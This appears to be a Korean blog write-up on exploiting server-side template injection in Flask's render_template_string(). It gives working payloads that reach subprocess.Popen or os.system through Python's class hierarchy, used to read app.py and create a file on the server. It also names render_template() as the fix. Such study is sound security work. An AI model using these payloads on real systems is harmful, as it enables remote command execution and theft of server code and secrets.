render_template_string()
을 쓰면 {{ }}
안에 들어가는 구문을 템플릿으로 해석하기 때문에, 사용자의 입력이 들어가지 않도록 주의하여야 한다.
render_template()
로 함수를 바꿔주면, 안전하게 바꿀 수 있다.
목표는 subprocess.Popen()
을 호출하는 것이다. 이게 없을 때에는 os.system()
을 호출한다.
문제는 subprocess.Popen()
을 어디서 찾을 것인가인데, 아래와 같이 찾는다.
[].__class__.__mro__[-1].__subclasses__()
-> 이건 거의 고정
__class__
: 클래스를 나타낸다. (int class, list class 등등)__mro__
: 자기에게 상속된 모든 클래스를 나열한다. (Object 클래스를 찾기 위해서 사용)__subclasses__()
: 자기가 상속해준 모든 클래스를 나열한다. (Object 클래스 하위에서 모든 클래스를 조회하기 위해서 사용)__mro__
와 __subclasses__
에 대해서 더 자세히 알고 싶으면 여기 블로그를 참조하자.
이렇게 찾아보면, 아래와 같이 다양한 클래스가 나온다. 문제는 여기에서 subprocess.Popen
이 몇 번째에 존재하는지가 중요하다는 것이다.
'
빠르게 찾기 위해서 인덱싱하는 방법을 추천한다. __subclasses__()[200:250]
이런식으로 잘라서 보면 그나마 조금은 빠르게 찾을 수 있지 않을까 ㅎㅎ,,
여기까지 payload를 정리해보면
{{ [].__class__.__mro__[-1].__subclasses__()[216] }}
subprocess.Popen()
이 생각보다 쓰기가 까다로웠다.
여기까지 왔으면 문제를 거의 다 푼 거나 다름 없는데, 사소한 parameter로 막혀서 문제를 못 풀면 억울하다.
subprocess.Popen('cat app.py',stdout=-1,stderr=-1,shell=True).communicate()
이런 식으로 사용하면 된다.
[]
로 해서 list로 넣어보니 (이유는 잘 모르겠지만) 인식이 안된다. ''
안에 넣어주자.stdout=-1
을 추가해주어야 stdout이 return으로 나온다. 기본값이 None
이기 때문에 반드시 설정해주어야 한다. stderr도 마찬가지Shell=True
도 반드시 추가해주어야 쉘과 같은 결과값 및 에러값을 반환받을 수 있다. 추가해주어야 /bin/sh
에서 실행하는 것과 동일한 리턴값을 받을 수 있으며, 특히 에러가 났을 경우에도 에러값을 return으로 확인할 수 있다.communicate()
도 실행해 주어야 결과값을 받을 수 있다.payload :
{{ [].__class__.__mro__[-1].__subclasses__()[216]('cat app.py',stdout=-1,stderr=-1,shell=True).communicate() }}
(1) os.system()
을 찾아가기 (출처)
payload :
{{ [].__class__.__mro__[-1].__subclasses__()[140]()._module.__builtins__['__import__']('os').system("touch hacked") }}
<class 'warnings.catch_warnings'>
클래스를 찾아가서 import
를 찾아내는 방법이다.
하나씩 직접 실험해보면 무지 신기하다,,
하나 단점이라면 결과값을 확인할 수는 없어서 결과값을 바로 확인할 수는 없다.
그런데!! import os
를 안하고 import subprocess
해서 Popen
함수를 호출했더니 결과값을 또 바로 볼 수 있었다.